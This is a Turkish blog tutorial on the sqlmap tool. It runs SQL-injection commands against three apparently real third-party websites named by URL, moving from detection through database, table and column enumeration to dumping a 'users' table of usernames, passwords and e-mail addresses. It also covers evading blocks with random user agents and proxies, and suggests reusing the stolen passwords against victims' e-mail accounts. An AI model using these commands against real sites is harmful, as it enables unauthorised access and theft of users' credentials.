Image default

Sqlmap Kullanımı

Merhaba arkadaşlar. Bugün sizlere sql injection yapmanın en kolay yolu olan sqlmap tool unun nasıl kullanıldığı hakkında bilgi vereceğim.

Temel Web Sitesi Kontrolleri (GET)

Sqlmap nedir, ne için?

Sqlmap programı, siteleri SQL enjeksiyon güvenlik açığı, XSS güvenlik açığı ve ayrıca SQL enjeksiyonundan exploitleri bulunup  bulunmadığını kontrol etmenizi sağlar. Çeşitli SQL enjeksiyon tipleri ve çeşitli veritabanları desteklenir.

Daha detaylı bilgi için tıklayınız.

Sqlmap ile ne yapabilirim?

Sqlmap kullanarak şunları yapabilirsiniz:

  • Sitelerde bir güvenlik açığı olup olmadığını kontrol etmek

Site, SQL enjeksiyonuna açıksa, o zaman :

  • Database bilgilerini alabilir, database’i dump edebiliriz.
  • Database içerisinde verileri silebilir ve değiştirebiliriz.
  • Web server’da bir shell (backdoor) oluşturabiliriz.

Sqlmap kullanma senaryoları:

  • Veritabanından bir kullanıcı adı ve şifre almak
  • Admin gösterge panolarını aramak (yönetici sayfaları)
  • Admin alanına kullanıcı adı ve şifre ile giriş yapmak

Bir güvenlik açığı varsa, saldırı farklı yönlerde gelişebilir:

  • Data Modification
  • Backdooring
  • Kullanıcı verilerini almak için JavaScript kodu ekleme
  • BeEF hooking

Gördüğümüz gibi, SQL Injection saldırgana harika fırsatlar sağlayan çok tehlikeli bir güvenlik açığıdır.

Sqlmap ile siteleri kontrol etme

Bir site GET yöntemini kullanarak bir kullanıcıdan veri alıyorsa (hem değişkenin adı hem de iletilen verilerin tarayıcının adres çubuğunda göründüğü durumlarda), bu değişkenin bulunduğu sayfanın adresini seçmeniz gerekir. Soru işaretinden (?) sonra olan kısım. Örneğin;

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

İlk URL adresinde değişkenin adı id ve geçen değer 8‘dir. İkinci adreste değişkenin adı da id ve aktarılan değer 22‘dir. Üçüncü örnekte değişken adı aynı, ancak geçirilen değer p_36. Aynı değişken adı, farklı siteler için rastgele bir eşleşmedir, herhangi bir şey olabilir, aktarılan herhangi bir veri olabilir, & sembolüyle ayrılmış değerlerle birkaç değişken olabilir.

Değişken kimliğinin SQL enjeksiyonuna açık olup olmadığını kontrol etmek istiyorsak, adresi tamamen girmemiz gerekir – http://www.dwib.org/faq2.php?id=8 (ve http: // www. dwib.org /faq2.php veya http://www.dwib.org).

GET yöntemi ile iletilen değişkeni test etme komutu çok basittir:

sqlmap -u URL

Örnek siteler için gereken komutlarsa:

sqlmap -u http://www.dwib.org/faq2.php?id=8

sqlmap -u http://www.wellerpools.com/news-read.php?id=22

sqlmap -u http://newsandviews24.com/read.php?id=p_36

 

Kontrol sürecinde, sqlmap çeşitli sorular sorabilir ve y (yani Evet) veya n (yani Hayır) cevabını vermeniz gerekir. Y ve n harfleri büyük veya küçük olabilir. Büyük harf varsayılan bir seçim anlamına gelir, eğer kabul ediyorsanız, sadece Enter tuşuna basın.

Bu durumlara örnek olarak:

Şimdi ise en sevdiğimiz soru:

 

 

Sonuç olarak, sezgisel taramaların parametrenin savunmasız olabileceğini ve uzak bir veritabanının önceden tanımlanmış olduğunu belirleyip, kontrol etmeye devam etmek isteyip istemediğimiz sorulmaktadır. İkinci ekran görüntüsünde de site XSS’ye açıktır.

İşlemi otomatikleştirmek istiyorsanız, sqlmap her seferinde size sormaz, ancak varsayılan seçeneği kullanır (her zaman daha iyi seçenekler vardır), sonra komutu –batch seçeneğiyle çalıştırabilirsiniz:

sqlmap -u http://www.dwib.org/faq2.php?id=8 –batch

Sqlmap Kullanımında Karşılaşabileceğiniz Olası Sorunlar

Aşağıdaki hatayı alabilirsiniz:

Bu, web sitesinin sqlmap ile ‘talk’ yapmak istemediği anlamına gelir. Bir seçenek olarak, –random-agent kullanımı önerilmiştir. Tarayıcıda siteyi gözlemleyebiliyorsanız ve sqlmap bağlanmanın imkansızlığı hakkında yazıyorsa, site, kullanıcı aracısı tarafından yönlendirilen istekleri dikkate almaz. –Random-agent seçeneği, sqlmap’in standart değerini isteğe bağlı olarak değiştirir:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 –random-agent

Bu hatanın bir başka nedeni de IP’nizin web sitesi tarafından engellenmesi olabilir – bir proxy kullanmanız gerekir. Zaten bir proxy kullanıyorsanız ve bu hata oluşursa, bu proxy’nin bir bağlantı sorunu olduğu ve bu olmadan denenmesi gerektiği anlamına gelebilir.

Sqlmap Tarama Sonuçları

Bulunan SQL enjeksiyonları aşağıdaki gibi gösterilir:

 

 

 

 

 

 

 

 

Güvenlik açığı bulunan bir parametrenin adı koyu yeşil renkte yazılır ve vurgulanır, SQL güvenlik açığı türü yazılır ve enjekte edilebilir kelimesi bulunur.

Sqlmap ile Database Listelenmesi ve Dump Edilmesi

Database listeleyebilmek için –dbs parametresi kullanılır. Örneğin:

sqlmap -u http://www.dwib.org/faq2.php?id=8 –dbs

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 –random-agent –dbs

sqlmap -u http://newsandviews24.com/read.php?id=p_36 –dbs

 

 

 

Database İçerisinden Bilgileri Almak

Örneğin, wellerpools.com sitesi için iki veritabanı bulundu:

 

 

 

Main_wellerpools veritabanındaki tabloların listesini almak istiyorum. Bunu yapmak için –tables seçeneğini kullanın. Ek olarak, -D seçeneğinden sonra bizi ilgilendiren tabloyu belirtmemiz gerekiyor:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 –random-agent -D main_wellerpools –tables

Tabloların Listesi:

 

 

 

 

 

 

Şimdi ise, kullanıcılar tablosundan sütun listesini alacağız. Bunu yapmak için –columns seçeneğini kullanın. Buna ek olarak, bize ilgi veri tabanını (-d main_wellerpools) ve -T anahtar kelimesinden sonra sütunların listesini görmek istediğimiz tabloyu belirtmeliyiz:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 –random-agent -D main_wellerpools -T users –columns

 

 

 

 

 

 

 

 

 

Tüm içeriği alabilmek için  –dump seçeneğini kullanın. Veritabanıyla birlikte belirtmeliyiz ve ardından veritabanının tamamı alınır veya verileri bir tabloya veya hatta bir sütuna yazdırabilirsiniz. Daha sonra, tüm kullanıcı tablosunun içeriğini göreceğiz:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 –random-agent -D main_wellerpools -T users –dump

Sitenin kullanıcı adlarını, şifrelerini ve e-posta adreslerini (ve büyük olasılıkla yöneticileri bile) sahibiz. Sitenin yönetim panelini bulabilirseniz, site veya web sunucusu üzerinde kontrol sahibi olabilirsiniz. Kullanıcıların aynı şifreleri  e-postalarında da kullanabilme ihtimalinden dolayı, bir saldırgan e-postayı kırmaya çalışabilir.

 

Genel olarak, SQL enjeksiyonu çok tehlikeli bir güvenlik açığıdır.

 

Siber Güvenlik alanında pentest ile ilgili bilgi almaya devam etmek için bizi takipte kalın..

Benzer Yazılar

Zararlı Yazılımlar Microsoft Office ve Youtube’dan Yararlanıyor!

Ahmet Singan

Youtube’a yapılan Silahlı saldırıyı Nasim Aghdam düzenlemiş!

Yeni tasarımıyla Skype,Snapchat benzeri özellikler kazandı!

Ahmet Singan

Bir Cevap Yazın

Teknozof